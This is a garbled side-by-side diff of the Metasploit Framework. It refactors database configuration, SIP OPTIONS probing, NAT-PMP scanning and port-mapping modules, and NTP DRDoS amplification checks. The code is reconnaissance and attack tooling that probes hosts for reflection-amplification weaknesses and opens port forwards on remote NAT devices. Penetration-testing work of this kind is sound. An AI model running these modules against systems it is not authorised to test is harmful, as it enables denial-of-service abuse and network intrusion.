# `Metasploit::Framework::Application.config` and `Rails.env` # `Metasploit::Framework::Application.config` and `Rails.env`
@ -73,15 +73,7 @@ class Metasploit::Framework::ParsedOptions::Base
options.database = ActiveSupport::OrderedOptions.new options.database = ActiveSupport::OrderedOptions.new
user_config_root = Pathname.new(Msf::Config.get_config_root) options.database.config = Metasploit::Framework::Database.configurations_pathname.try(:to_path)
user_database_yaml = user_config_root.join('database.yml')
if user_database_yaml.exist?
options.database.config = user_database_yaml.to_path
else
options.database.config = 'config/database.yml'
end
options.database.disable = false options.database.disable = false
options.database.migrations_paths = [] options.database.migrations_paths = []

View File

@ -8,7 +8,7 @@ module Msf
### ###
module Auxiliary::DRDoS module Auxiliary::DRDoS
def prove_drdos(response_map) def prove_amplification(response_map)
vulnerable = false vulnerable = false
proofs = [] proofs = []
response_map.each do |request, responses| response_map.each do |request, responses|
@ -30,7 +30,8 @@ module Auxiliary::DRDoS
bandwidth_amplification = total_size - request.size bandwidth_amplification = total_size - request.size
if bandwidth_amplification > 0 if bandwidth_amplification > 0
vulnerable = true vulnerable = true
this_proof += "a #{bandwidth_amplification}-byte bandwidth amplification" multiplier = total_size / request.size
this_proof += "a #{multiplier}x, #{bandwidth_amplification}-byte bandwidth amplification"
else else
this_proof += 'no bandwidth amplification' this_proof += 'no bandwidth amplification'
end end

View File

@ -20,6 +20,7 @@ require 'msf/core/auxiliary/login'
require 'msf/core/auxiliary/rservices' require 'msf/core/auxiliary/rservices'
require 'msf/core/auxiliary/cisco' require 'msf/core/auxiliary/cisco'
require 'msf/core/auxiliary/nmap' require 'msf/core/auxiliary/nmap'
require 'msf/core/auxiliary/natpmp'
require 'msf/core/auxiliary/iax2' require 'msf/core/auxiliary/iax2'
require 'msf/core/auxiliary/ntp' require 'msf/core/auxiliary/ntp'
require 'msf/core/auxiliary/pii' require 'msf/core/auxiliary/pii'

View File

@ -0,0 +1,27 @@
# -*- coding: binary -*-
require 'rex/proto/natpmp'
module Msf
###
#
# This module provides methods for working with NAT-PMP
#
###
module Auxiliary::NATPMP
include Auxiliary::Scanner
include Rex::Proto::NATPMP
def initialize(info = {})
super
register_options(
[
Opt::RPORT(Rex::Proto::NATPMP::DefaultPort),
Opt::CHOST
],
self.class
)
end
end
end

View File

@ -57,6 +57,7 @@ require 'msf/core/exploit/wdbrpc'
require 'msf/core/exploit/wdbrpc_client' require 'msf/core/exploit/wdbrpc_client'
require 'msf/core/exploit/afp' require 'msf/core/exploit/afp'
require 'msf/core/exploit/realport' require 'msf/core/exploit/realport'
require 'msf/core/exploit/sip'
# Telephony # Telephony
require 'msf/core/exploit/dialup' require 'msf/core/exploit/dialup'

View File

@ -0,0 +1,94 @@
# -*- coding: binary -*-
require 'rex/proto/sip/response'
module Msf
# SIP protocol support
module Exploit::Remote::SIP
# Parses +response+, extracts useful metdata and then reports on it.
# Returns true iff the response was a valid SIP response
def report_response(response, rhost, proto, desired_headers = %w(User-Agent Server Allow))
endpoint = "#{rhost}:#{rport} #{proto}"
begin
options_response = Rex::Proto::SIP::Response.parse(response)
rescue ArgumentError => e
vprint_error("#{endpoint} is not SIP: #{e}")
return false
end
# Extracted headers, stored as a hash where the key is the header name
# and the value is a list of all values seen for the header, covering the
# case where the same header value is seen multiple times
extracted_headers = {}
unless desired_headers.nil? || desired_headers.empty?
desired_headers.each do |desired_header|
next unless (found_header = options_response.header(desired_header))
extracted_headers[desired_header] ||= []
extracted_headers[desired_header] |= found_header
end
end
# Create a SIP OPTIONS fingerprint hash
fprint = {
'code' => options_response.code,
'message' => options_response.message
}
# compact the header values, append the header information to the
# fingerprint hash
extracted_headers.each_pair do |k,v|
value = v.join(',')
extracted_headers[k] = value
fprint['header_' + k.gsub('-', '_').downcase] = value
end
# Create a summary of the response
status = options_response.status_line.dup
unless extracted_headers.keys.empty?
status << ": #{extracted_headers}"
end
# Report the service with the status information
report_service(
host: rhost,
port: rport,
proto: proto.downcase,
name: 'sip',
info: status
)
# Report the fingerprint information
report_note(
host: rhost,
port: rport,
proto: proto.downcase,
type: "sip.options.fingerprint",
data: fprint
)
# Display the actual result to the user
print_status(endpoint + " " + status)
true
end
def create_probe(ip, proto)
suser = Rex::Text.rand_text_alphanumeric(rand(8) + 1)
shost = Rex::Socket.source_address(ip)
src = "#{shost}:#{datastore['RPORT']}"
data = "OPTIONS sip:#{datastore['TO']}@#{ip} SIP/2.0\r\n"
data << "Via: SIP/2.0/#{proto.upcase} #{src};branch=z9hG4bK.#{format('%.8x', rand(0x100000000))};rport;alias\r\n"
data << "From: sip:#{suser}@#{src};tag=70c00e8c\r\n"
data << "To: sip:#{datastore['TO']}@#{ip}\r\n"
data << "Call-ID: #{rand(0x100000000)}@#{shost}\r\n"
data << "CSeq: 1 OPTIONS\r\n"
data << "Contact: sip:#{suser}@#{src}\r\n"
data << "Max-Forwards: 20\r\n"
data << "User-Agent: #{suser}\r\n"
data << "Accept: application/sdp\r\n"
data << "Content-Length: 0\r\n"
data << "\r\n"
data
end
end
end

View File

@ -1109,8 +1109,9 @@ class Db
end end
end end
if (note.service) if (note.service)
name = (note.service.name ? note.service.name : "#{note.service.port}/#{note.service.proto}") msg << " service=#{note.service.name}" if note.service.name
msg << " service=#{name}" msg << " port=#{note.service.port}" if note.service.port
msg << " protocol=#{note.service.proto}" if note.service.proto
end end
msg << " type=#{note.ntype} data=#{note.data.inspect}" msg << " type=#{note.ntype} data=#{note.data.inspect}"
print_status(msg) print_status(msg)

View File

@ -15,12 +15,9 @@ module Msf
module Ui module Ui
module Console module Console
###
# #
# This class implements a user interface driver on a console interface. # A user interface driver on a console interface.
# #
###
class Driver < Msf::Ui::Driver class Driver < Msf::Ui::Driver
ConfigCore = "framework/core" ConfigCore = "framework/core"
@ -44,21 +41,18 @@ class Driver < Msf::Ui::Driver
# prompt character. The optional hash can take extra values that will # prompt character. The optional hash can take extra values that will
# serve to initialize the console driver. # serve to initialize the console driver.
# #
# The optional hash values can include: # @option opts [Boolean] 'AllowCommandPassthru' (true) Whether to allow
# # unrecognized commands to be executed by the system shell
# AllowCommandPassthru # @option opts [Boolean] 'RealReadline' (false) Whether to use the system's
# # readline library instead of RBReadline
# Whether or not unknown commands should be passed through and executed by # @option opts [String] 'HistFile' (Msf::Config.history_file) Path to a file
# the local system. # where we can store command history
# # @option opts [Array<String>] 'Resources' ([]) A list of resource files to
# RealReadline # load. If no resources are given, will load the default resource script,
# # 'msfconsole.rc' in the user's {Msf::Config.config_directory config
# Whether or to use the system Readline or the RBReadline (default) # directory}
# # @option opts [Boolean] 'SkipDatabaseInit' (false) Whether to skip
# HistFile # connecting to the database and running migrations
#
# Name of a file to store command history
#
def initialize(prompt = DefaultPrompt, prompt_char = DefaultPromptChar, opts = {}) def initialize(prompt = DefaultPrompt, prompt_char = DefaultPromptChar, opts = {})
# Choose a readline library before calling the parent # Choose a readline library before calling the parent
@ -182,21 +176,15 @@ class Driver < Msf::Ui::Driver
if framework.db.connection_established? if framework.db.connection_established?
framework.db.after_establish_connection framework.db.after_establish_connection
else else
# Look for our database configuration in the following places, in order: configuration_pathname = Metasploit::Framework::Database.configurations_pathname(path: opts['DatabaseYAML'])
# command line arguments
# environment variable
# configuration directory (usually ~/.msf3)
dbfile = opts['DatabaseYAML']
dbfile ||= ENV["MSF_DATABASE_CONFIG"]
dbfile ||= File.join(Msf::Config.get_config_root, "database.yml")
if (dbfile and File.exists? dbfile) unless configuration_pathname.nil?
if File.readable?(dbfile) if configuration_pathname.readable?
dbinfo = YAML.load(File.read(dbfile)) dbinfo = YAML.load_file(configuration_pathname)
dbenv = opts['DatabaseEnv'] || Rails.env dbenv = opts['DatabaseEnv'] || Rails.env
db = dbinfo[dbenv] db = dbinfo[dbenv]
else else
print_error("Warning, #{dbfile} is not readable. Try running as root or chmod.") print_error("Warning, #{configuration_pathname} is not readable. Try running as root or chmod.")
end end
if not db if not db
@ -253,14 +241,14 @@ class Driver < Msf::Ui::Driver
# Process things before we actually display the prompt and get rocking # Process things before we actually display the prompt and get rocking
on_startup(opts) on_startup(opts)
# Process the resource script # Process any resource scripts
if opts['Resource'] and opts['Resource'].kind_of? Array if opts['Resource'].blank?
# None given, load the default
load_resource(File.join(Msf::Config.config_directory, 'msfconsole.rc'))
else
opts['Resource'].each { |r| opts['Resource'].each { |r|
load_resource(r) load_resource(r)
} }
else
# If the opt is nil here, we load ~/.msf3/msfconsole.rc
load_resource(opts['Resource'])
end end
# Process any additional startup commands # Process any additional startup commands
@ -433,11 +421,11 @@ class Driver < Msf::Ui::Driver
end end
end end
# Processes a resource script file for the console.
# #
# Processes the resource script file for the console. # @param path [String] Path to a resource file to run
# # @return [void]
def load_resource(path=nil) def load_resource(path)
path ||= File.join(Msf::Config.config_directory, 'msfconsole.rc')
return if not ::File.readable?(path) return if not ::File.readable?(path)
resource_file = ::File.read(path) resource_file = ::File.read(path)
@ -605,9 +593,9 @@ class Driver < Msf::Ui::Driver
# The framework instance associated with this driver. # The framework instance associated with this driver.
# #
attr_reader :framework attr_reader :framework
# #
# Whether or not to confirm before exiting # Whether or not to confirm before exiting
# #
attr_reader :confirm_exit attr_reader :confirm_exit
# #
# Whether or not commands can be passed through. # Whether or not commands can be passed through.

View File

@ -12,20 +12,20 @@ module Proto
module NATPMP module NATPMP
# Return a NAT-PMP request to get the external address. # Return a NAT-PMP request to get the external address.
def self.external_address_request def external_address_request
[ 0, 0 ].pack('nn') [ 0, 0 ].pack('nn')
end end
# Parse a NAT-PMP external address response +resp+. # Parse a NAT-PMP external address response +resp+.
# Returns the decoded parts of the response as an array. # Returns the decoded parts of the response as an array.
def self.parse_external_address_response(resp) def parse_external_address_response(resp)
(ver, op, result, epoch, addr) = resp.unpack("CCvVN") (ver, op, result, epoch, addr) = resp.unpack("CCnNN")
[ ver, op, result, epoch, Rex::Socket::addr_itoa(addr) ] [ ver, op, result, epoch, Rex::Socket::addr_itoa(addr) ]
end end
# Return a NAT-PMP request to map remote port +rport+/+protocol+ to local port +lport+ for +lifetime+ ms # Return a NAT-PMP request to map remote port +rport+/+protocol+ to local port +lport+ for +lifetime+ ms
def self.map_port_request(lport, rport, protocol, lifetime) def map_port_request(lport, rport, protocol, lifetime)
[ Rex::Proto::NATPMP::Version, # version [ Rex::Proto::NATPMP::Version, # version
protocol, # opcode, which is now the protocol we are asking to forward protocol, # opcode, which is now the protocol we are asking to forward
0, # reserved 0, # reserved
lport, lport,
@ -36,8 +36,8 @@ module NATPMP
# Parse a NAT-PMP mapping response +resp+. # Parse a NAT-PMP mapping response +resp+.
# Returns the decoded parts as an array. # Returns the decoded parts as an array.
def self.parse_map_port_response(resp) def parse_map_port_response(resp)
resp.unpack("CCvVnnN") resp.unpack("CCnNnnN")
end end
end end

4
lib/rex/proto/sip.rb Normal file
View File

@ -0,0 +1,4 @@
# encoding: binary
# SIP protocol support
require 'rex/proto/sip/response'

View File

@ -0,0 +1,61 @@
# encoding: binary
module Rex
module Proto
# SIP protocol support
module SIP
SIP_STATUS_REGEX = /^SIP\/(\d\.\d) (\d{3})\s*(.*)$/
# Represents a generic SIP message
class Message
attr_accessor :headers
def initialize
@headers = {}
end
# Returns a list of all values from all +name+ headers, regardless of case,
# or nil if no matching header is found
def header(name)
matches = @headers.select { |k, _| k.downcase == name.downcase }
return nil if matches.empty?
matches.values.flatten
end
# Returns a hash of header name to values mapping
# from the provided message, or nil if no headers
# are found
def self.extract_headers(message)
pairs = message.scan(/^([^\s:]+):\s*(.*)$/)
return nil if pairs.empty?
headers = {}
pairs.each do |pair|
headers[pair.first] ||= []
headers[pair.first] << pair.last.strip
end
headers
end
end
# Represents a SIP response message
class Response < Message
attr_accessor :code, :message, :status_line, :version
# Parses +data+, constructs and returns a Response
def self.parse(data)
response = Response.new
# do some basic sanity checking on this response to ensure that it is SIP
response.status_line = data.split(/\r\n/)[0]
unless response.status_line && response.status_line =~ SIP_STATUS_REGEX
fail(ArgumentError, "Invalid SIP status line: #{response.status_line}")
end
response.version = Regexp.last_match(1)
response.code = Regexp.last_match(2)
response.message = Regexp.last_match(3)
response.headers = extract_headers(data)
response
end
end
end
end
end

View File

@ -1,22 +1,74 @@
# IMPORTANT: This file is generated by cucumber-rails - edit at your own peril.
# It is recommended to regenerate this file in the future when you upgrade to a
# newer version of cucumber-rails. Consider adding your own code to a new file
# instead of editing this one. Cucumber will automatically load all features/**/*.rb
# files.
unless ARGV.any? {|a| a =~ /^gems/} # Don't load anything when running the gems:* tasks
vendored_cucumber_bin = Dir["#{Rails.root}/vendor/{gems,plugins}/cucumber*/bin/cucumber"].first
$LOAD_PATH.unshift(File.dirname(vendored_cucumber_bin) + '/../lib') unless vendored_cucumber_bin.nil?
begin begin
require 'cucumber'
require 'cucumber/rake/task' require 'cucumber/rake/task'
namespace :cucumber do
Cucumber::Rake::Task.new({:ok => 'db:test:prepare'}, 'Run features that should pass') do |t|
t.binary = vendored_cucumber_bin # If nil, the gem's binary is used.
t.fork = true # You may get faster startup if you set this to false
t.profile = 'default'
end
Cucumber::Rake::Task.new(:features) do |t| Cucumber::Rake::Task.new({:wip => 'db:test:prepare'}, 'Run features that are being worked on') do |t|
t.cucumber_opts = 'features --format pretty' t.binary = vendored_cucumber_bin
t.profile = 'default' t.fork = true # You may get faster startup if you set this to false
end t.profile = 'wip'
end
namespace :features do Cucumber::Rake::Task.new({:rerun => 'db:test:prepare'}, 'Record failing features and run only them if any exist') do |t|
Cucumber::Rake::Task.new(:boot) do |t| t.binary = vendored_cucumber_bin
t.profile = 'boot' t.fork = true # You may get faster startup if you set this to false
t.profile = 'rerun'
end
desc 'Run all features'
task :all => [:ok, :wip]
task :statsetup do
require 'rails/code_statistics'
::STATS_DIRECTORIES << %w(Cucumber\ features features) if File.exist?('features')
::CodeStatistics::TEST_TYPES << "Cucumber features" if File.exist?('features')
end end
end end
desc 'Alias for cucumber:ok'
task :cucumber => 'cucumber:ok'
task :default => :cucumber
task :features => :cucumber do
STDERR.puts "*** The 'features' task is deprecated. See rake -T cucumber ***"
end
# In case we don't have ActiveRecord, append a no-op task that we can depend upon.
task 'db:test:prepare' do
end
task 'db:config:restore' do
require 'metasploit/framework/database/cucumber'
Metasploit::Framework::Database::Cucumber.restore_project_configurations
end
# Restore the config/database.yml from config/database.cucumber.yml before attempting to copy development to test
# database in order to recover from interrupted cucumber runs
task 'environment' => 'db:config:restore'
task :stats => 'cucumber:statsetup'
rescue LoadError rescue LoadError
task :features do desc 'cucumber rake task not available (cucumber not installed)'
puts "cucumber not in bundle, so can't set up feature tasks. " \ task :cucumber do
"To run features ensure to install the development and test groups." abort 'Cucumber rake task is not available. Be sure to install cucumber as a gem or plugin'
end end
end end
end

View File

@ -0,0 +1,19 @@
unless ARGV.any? {|a| a =~ /^gems/} # Don't load anything when running the gems:* tasks
vendored_cucumber_bin = Dir["#{Rails.root}/vendor/{gems,plugins}/cucumber*/bin/cucumber"].first
$LOAD_PATH.unshift(File.dirname(vendored_cucumber_bin) + '/../lib') unless vendored_cucumber_bin.nil?
begin
require 'cucumber/rake/task'
namespace :cucumber do
Cucumber::Rake::Task.new({:boot => 'db:test:prepare'}, 'Run features that should pass') do |t|
t.binary = vendored_cucumber_bin # If nil, the gem's binary is used.
t.fork = true # You may get faster startup if you set this to false
t.profile = 'boot'
end
end
end
end

View File

@ -4,12 +4,13 @@
## ##
require 'msf/core' require 'msf/core'
require 'rex/proto/natpmp'
class Metasploit3 < Msf::Auxiliary class Metasploit3 < Msf::Auxiliary
include Msf::Auxiliary::Report include Msf::Auxiliary::Report
include Msf::Auxiliary::Scanner include Msf::Auxiliary::Scanner
include Msf::Auxiliary::NATPMP
include Rex::Proto::NATPMP
def initialize def initialize
super( super(
@ -21,12 +22,10 @@ class Metasploit3 < Msf::Auxiliary
register_options( register_options(
[ [
Opt::LPORT, OptPort.new('EXTERNAL_PORT', [true, 'The external port to foward from']),
Opt::RPORT, OptPort.new('INTERNAL_PORT', [true, 'The internal port to forward to']),
OptInt.new('NATPMPPORT', [true, "NAT-PMP port to use", Rex::Proto::NATPMP::DefaultPort]),
OptInt.new('LIFETIME', [true, "Time in ms to keep this port forwarded", 3600000]), OptInt.new('LIFETIME', [true, "Time in ms to keep this port forwarded", 3600000]),
OptEnum.new('PROTOCOL', [true, "Protocol to forward", 'TCP', %w(TCP UDP)]), OptEnum.new('PROTOCOL', [true, "Protocol to forward", 'TCP', %w(TCP UDP)]),
Opt::CHOST
], ],
self.class self.class
) )
@ -43,21 +42,20 @@ class Metasploit3 < Msf::Auxiliary
# get the external address first # get the external address first
vprint_status "#{host} - NATPMP - Probing for external address" vprint_status "#{host} - NATPMP - Probing for external address"
req = Rex::Proto::NATPMP.external_address_request udp_sock.sendto(external_address_request, host, datastore['RPORT'], 0)
udp_sock.sendto(req, host, datastore['NATPMPPORT'], 0)
external_address = nil external_address = nil
while (r = udp_sock.recvfrom(12, 1) and r[1]) while (r = udp_sock.recvfrom(12, 1) and r[1])
(ver, op, result, epoch, external_address) = Rex::Proto::NATPMP.parse_external_address_response(r[0]) (ver, op, result, epoch, external_address) = parse_external_address_response(r[0])
end end
vprint_status "#{host} - NATPMP - Sending mapping request" vprint_status "#{host} - NATPMP - Sending mapping request"
# build the mapping request # build the mapping request
req = Rex::Proto::NATPMP.map_port_request( req = map_port_request(
datastore['LPORT'].to_i, datastore['RPORT'].to_i, datastore['INTERNAL_PORT'], datastore['EXTERNAL_PORT'],
Rex::Proto::NATPMP.const_get(datastore['PROTOCOL']), datastore['LIFETIME'] Rex::Proto::NATPMP.const_get(datastore['PROTOCOL']), datastore['LIFETIME']
) )
# send it # send it
udp_sock.sendto(req, host, datastore['NATPMPPORT'], 0) udp_sock.sendto(req, host, datastore['RPORT'], 0)
# handle the reply # handle the reply
while (r = udp_sock.recvfrom(16, 1) and r[1]) while (r = udp_sock.recvfrom(16, 1) and r[1])
handle_reply(Rex::Socket.source_address(host), host, external_address, r) handle_reply(Rex::Socket.source_address(host), host, external_address, r)
@ -78,12 +76,12 @@ class Metasploit3 < Msf::Auxiliary
pkt[1] = pkt[1].sub(/^::ffff:/, '') pkt[1] = pkt[1].sub(/^::ffff:/, '')
end end
(ver, op, result, epoch, internal_port, external_port, lifetime) = Rex::Proto::NATPMP.parse_map_port_response(pkt[0]) (ver, op, result, epoch, internal_port, external_port, lifetime) = parse_map_port_response(pkt[0])
if (result == 0) if (result == 0)
if (datastore['RPORT'].to_i != external_port) if (datastore['EXTERNAL_PORT'] != external_port)
print_status( "#{external_address} " + print_status( "#{external_address} " +
"#{datastore['RPORT']}/#{datastore['PROTOCOL']} -> #{map_target} " + "#{datastore['EXTERNAL_PORT']}/#{datastore['PROTOCOL']} -> #{map_target} " +
"#{internal_port}/#{datastore['PROTOCOL']} couldn't be forwarded") "#{internal_port}/#{datastore['PROTOCOL']} couldn't be forwarded")
end end
print_status( "#{external_address} " + print_status( "#{external_address} " +

View File

@ -4,12 +4,14 @@
## ##
require 'msf/core' require 'msf/core'
require 'rex/proto/natpmp'
class Metasploit3 < Msf::Auxiliary class Metasploit3 < Msf::Auxiliary
include Msf::Auxiliary::Report include Msf::Auxiliary::Report
include Msf::Auxiliary::Scanner include Msf::Exploit::Remote::Udp
include Msf::Auxiliary::UDPScanner
include Msf::Auxiliary::NATPMP
include Rex::Proto::NATPMP
def initialize def initialize
super( super(
@ -19,68 +21,43 @@ class Metasploit3 < Msf::Auxiliary
'License' => MSF_LICENSE 'License' => MSF_LICENSE
) )
register_options(
[
Opt::RPORT(Rex::Proto::NATPMP::DefaultPort),
Opt::CHOST
],
self.class
)
end end
def run_host(host) def scan_host(ip)
begin scanner_send(@probe, ip, datastore['RPORT'])
udp_sock = Rex::Socket::Udp.create({ end
'LocalHost' => datastore['CHOST'] || nil,
'Context' => {'Msf' => framework, 'MsfExploit' => self}
})
add_socket(udp_sock)
vprint_status "#{host}:#{datastore['RPORT']} - NATPMP - Probing for external address"
udp_sock.sendto(Rex::Proto::NATPMP.external_address_request, host, datastore['RPORT'].to_i, 0) def scanner_prescan(batch)
while (r = udp_sock.recvfrom(12, 1.0) and r[1]) @probe = external_address_request
handle_reply(host, r) end
def scanner_process(data, shost, sport)
(ver, op, result, epoch, external_address) = parse_external_address_response(data)
peer = "#{shost}:#{sport}"
if (ver == 0 && op == 128 && result == 0)
print_good("#{peer} -- external address #{external_address}")
# report its external address as alive
if inside_workspace_boundary?(external_address)
report_host(
:host => external_address,
:state => Msf::HostState::Alive
)
end end
rescue ::Interrupt else
raise $! print_error("#{peer} -- unexpected version/opcode/result/address: #{ver}/#{op}/#{result}/#{external_address}")
rescue ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::Rex::ConnectionRefused
nil
rescue ::Exception => e
print_error("#{host}:#{datastore['RPORT']} Unknown error: #{e.class} #{e}")
end
end
def handle_reply(host, pkt)
return if not pkt[1]
if(pkt[1] =~ /^::ffff:/)
pkt[1] = pkt[1].sub(/^::ffff:/, '')
end
(ver, op, result, epoch, external_address) = Rex::Proto::NATPMP.parse_external_address_response(pkt[0])
if (result == 0)
print_status("#{host} -- external address #{external_address}")
end end
# report the host we scanned as alive # report the host we scanned as alive
report_host( report_host(
:host => host, :host => shost,
:state => Msf::HostState::Alive :state => Msf::HostState::Alive
) )
# also report its external address as alive
if inside_workspace_boundary?(external_address)
report_host(
:host => external_address,
:state => Msf::HostState::Alive
)
end
# report NAT-PMP as being open # report NAT-PMP as being open
report_service( report_service(
:host => host, :host => shost,
:port => pkt[2], :port => sport,
:proto => 'udp', :proto => 'udp',
:name => 'natpmp', :name => 'natpmp',
:state => Msf::ServiceState::Open :state => Msf::ServiceState::Open

View File

@ -5,12 +5,13 @@
require 'msf/core' require 'msf/core'
require 'rex/proto/natpmp'
class Metasploit3 < Msf::Auxiliary class Metasploit3 < Msf::Auxiliary
include Msf::Auxiliary::Report include Msf::Auxiliary::Report
include Msf::Auxiliary::Scanner include Msf::Auxiliary::Scanner
include Msf::Auxiliary::NATPMP
include Rex::Proto::NATPMP
def initialize def initialize
super( super(
@ -22,10 +23,8 @@ class Metasploit3 < Msf::Auxiliary
register_options( register_options(
[ [
Opt::RPORT(Rex::Proto::NATPMP::DefaultPort),
OptString.new('PORTS', [true, "Ports to scan (e.g. 22-25,80,110-900)", "1-1000"]), OptString.new('PORTS', [true, "Ports to scan (e.g. 22-25,80,110-900)", "1-1000"]),
OptEnum.new('PROTOCOL', [true, "Protocol to scan", 'TCP', %w(TCP UDP)]), OptEnum.new('PROTOCOL', [true, "Protocol to scan", 'TCP', %w(TCP UDP)]),
Opt::CHOST
], self.class) ], self.class)
end end
@ -36,32 +35,33 @@ class Metasploit3 < Msf::Auxiliary
'Context' => {'Msf' => framework, 'MsfExploit' => self} } 'Context' => {'Msf' => framework, 'MsfExploit' => self} }
) )
add_socket(udp_sock) add_socket(udp_sock)
vprint_status "Scanning #{datastore['PROTOCOL']} ports #{datastore['PORTS']} on #{host} using NATPMP" peer = "#{host}:#{datastore['RPORT']}"
vprint_status("#{peer} Scanning #{datastore['PROTOCOL']} ports #{datastore['PORTS']} using NATPMP")
# first, send a request to get the external address # first, send a request to get the external address
udp_sock.sendto(Rex::Proto::NATPMP.external_address_request, host, datastore['RPORT'].to_i, 0) udp_sock.sendto(external_address_request, host, datastore['RPORT'], 0)
external_address = nil external_address = nil
while (r = udp_sock.recvfrom(12, 0.25) and r[1]) while (r = udp_sock.recvfrom(12, 0.25) and r[1])
(ver,op,result,epoch,external_address) = Rex::Proto::NATPMP.parse_external_address_response(r[0]) (ver,op,result,epoch,external_address) = parse_external_address_response(r[0])
end end
if (external_address) if (external_address)
print_good("External address of #{host} is #{external_address}") print_good("#{peer} responded with external address of #{external_address}")
else else
print_error("Didn't get a response for #{host}'s external address") vprint_status("#{peer} didn't respond with an external address")
return return
end end
Rex::Socket.portspec_crack(datastore['PORTS']).each do |port| Rex::Socket.portspec_crack(datastore['PORTS']).each do |port|
# send one request to clear the mapping if *we've* created it before # send one request to clear the mapping if *we've* created it before
clear_req = Rex::Proto::NATPMP.map_port_request(port, port, Rex::Proto::NATPMP.const_get(datastore['PROTOCOL']), 0) clear_req = map_port_request(port, port, Rex::Proto::NATPMP.const_get(datastore['PROTOCOL']), 0)
udp_sock.sendto(clear_req, host, datastore['RPORT'].to_i, 0) udp_sock.sendto(clear_req, host, datastore['RPORT'], 0)
while (r = udp_sock.recvfrom(16, 1.0) and r[1]) while (r = udp_sock.recvfrom(16, 1.0) and r[1])
end end
# now try the real mapping # now try the real mapping
map_req = Rex::Proto::NATPMP.map_port_request(port, port, Rex::Proto::NATPMP.const_get(datastore['PROTOCOL']), 1) map_req = map_port_request(port, port, Rex::Proto::NATPMP.const_get(datastore['PROTOCOL']), 1)
udp_sock.sendto(map_req, host, datastore['RPORT'].to_i, 0) udp_sock.sendto(map_req, host, datastore['RPORT'], 0)
while (r = udp_sock.recvfrom(16, 1.0) and r[1]) while (r = udp_sock.recvfrom(16, 1.0) and r[1])
handle_reply(host, external_address, r) handle_reply(host, external_address, r)
end end
@ -85,21 +85,22 @@ class Metasploit3 < Msf::Auxiliary
host = pkt[1] host = pkt[1]
protocol = datastore['PROTOCOL'].to_s.downcase protocol = datastore['PROTOCOL'].to_s.downcase
(ver, op, result, epoch, int, ext, lifetime) = Rex::Proto::NATPMP.parse_map_port_response(pkt[0]) (ver, op, result, epoch, int, ext, lifetime) = parse_map_port_response(pkt[0])
peer = "#{host}:#{datastore['RPORT']}"
if (result == 0) if (result == 0)
# we always ask to map an external port to the same port on us. If # we always ask to map an external port to the same port on us. If
# we get a successful reponse back but the port we requested be forwarded # we get a successful reponse back but the port we requested be forwarded
# is different, that means that someone else already has it open # is different, that means that someone else already has it open
if (int != ext) if (int != ext)
state = Msf::ServiceState::Open state = Msf::ServiceState::Open
print_status("#{external_addr} - #{int}/#{protocol} #{state} because of successful mapping with unmatched ports") print_good("#{peer} #{external_addr} - #{int}/#{protocol} #{state} because of successful mapping with unmatched ports")
else else
state = Msf::ServiceState::Closed state = Msf::ServiceState::Closed
print_status("#{external_addr} - #{int}/#{protocol} #{state} because of successful mapping with matched ports") if (datastore['DEBUG']) print_status("#{peer} #{external_addr} - #{int}/#{protocol} #{state} because of successful mapping with matched ports") if (datastore['DEBUG'])
end end
else else
state = Msf::ServiceState::Closed state = Msf::ServiceState::Closed
print_status("#{external_addr} - #{int}/#{protocol} #{state} because of code #{result} response") if (datastore['DEBUG']) print_status("#{peer} #{external_addr} - #{int}/#{protocol} #{state} because of code #{result} response") if (datastore['DEBUG'])
end end
if inside_workspace_boundary?(external_addr) if inside_workspace_boundary?(external_addr)

View File

@ -123,7 +123,7 @@ class Metasploit3 < Msf::Auxiliary
end end
end end
vulnerable, proof = prove_drdos(response_map) vulnerable, proof = prove_amplification(response_map)
what = 'NTP Mode 7 monlist DRDoS (CVE-2013-5211)' what = 'NTP Mode 7 monlist DRDoS (CVE-2013-5211)'
if vulnerable if vulnerable
print_good("#{peer} - Vulnerable to #{what}: #{proof}") print_good("#{peer} - Vulnerable to #{what}: #{proof}")

View File

@ -64,7 +64,7 @@ class Metasploit3 < Msf::Auxiliary
) )
peer = "#{k}:#{rport}" peer = "#{k}:#{rport}"
vulnerable, proof = prove_drdos(response_map) vulnerable, proof = prove_amplification(response_map)
what = 'R7-2014-12 NTP Mode 7 PEER_LIST DRDoS' what = 'R7-2014-12 NTP Mode 7 PEER_LIST DRDoS'
if vulnerable if vulnerable
print_good("#{peer} - Vulnerable to #{what}: #{proof}") print_good("#{peer} - Vulnerable to #{what}: #{proof}")

View File

@ -64,7 +64,7 @@ class Metasploit3 < Msf::Auxiliary
) )
peer = "#{k}:#{rport}" peer = "#{k}:#{rport}"
vulnerable, proof = prove_drdos(response_map) vulnerable, proof = prove_amplification(response_map)
what = 'R7-2014-12 NTP Mode 7 PEER_LIST_SUM DRDoS' what = 'R7-2014-12 NTP Mode 7 PEER_LIST_SUM DRDoS'
if vulnerable if vulnerable
print_good("#{peer} - Vulnerable to #{what}: #{proof}") print_good("#{peer} - Vulnerable to #{what}: #{proof}")

View File

@ -67,7 +67,7 @@ class Metasploit3 < Msf::Auxiliary
) )
peer = "#{k}:#{rport}" peer = "#{k}:#{rport}"
vulnerable, proof = prove_drdos(response_map) vulnerable, proof = prove_amplification(response_map)
what = 'R7-2014-12 NTP Mode 6 REQ_NONCE DRDoS' what = 'R7-2014-12 NTP Mode 6 REQ_NONCE DRDoS'
if vulnerable if vulnerable
print_good("#{peer} - Vulnerable to #{what}: #{proof}") print_good("#{peer} - Vulnerable to #{what}: #{proof}")

View File

@ -66,7 +66,7 @@ class Metasploit3 < Msf::Auxiliary
) )
peer = "#{k}:#{rport}" peer = "#{k}:#{rport}"
vulnerable, proof = prove_drdos(response_map) vulnerable, proof = prove_amplification(response_map)
what = 'R7-2014-12 NTP Mode 7 GET_RESTRICT DRDoS' what = 'R7-2014-12 NTP Mode 7 GET_RESTRICT DRDoS'
if vulnerable if vulnerable
print_good("#{peer} - Vulnerable to #{what}: #{proof}") print_good("#{peer} - Vulnerable to #{what}: #{proof}")

View File

@ -66,7 +66,7 @@ class Metasploit3 < Msf::Auxiliary
) )
peer = "#{k}:#{rport}" peer = "#{k}:#{rport}"
vulnerable, proof = prove_drdos(response_map) vulnerable, proof = prove_amplification(response_map)
what = 'R7-2014-12 NTP Mode 6 UNSETTRAP DRDoS' what = 'R7-2014-12 NTP Mode 6 UNSETTRAP DRDoS'
if vulnerable if vulnerable
print_good("#{peer} - Vulnerable to #{what}: #{proof}") print_good("#{peer} - Vulnerable to #{what}: #{proof}")

View File

@ -0,0 +1,67 @@
##
# This module requires Metasploit: http//metasploit.com/download
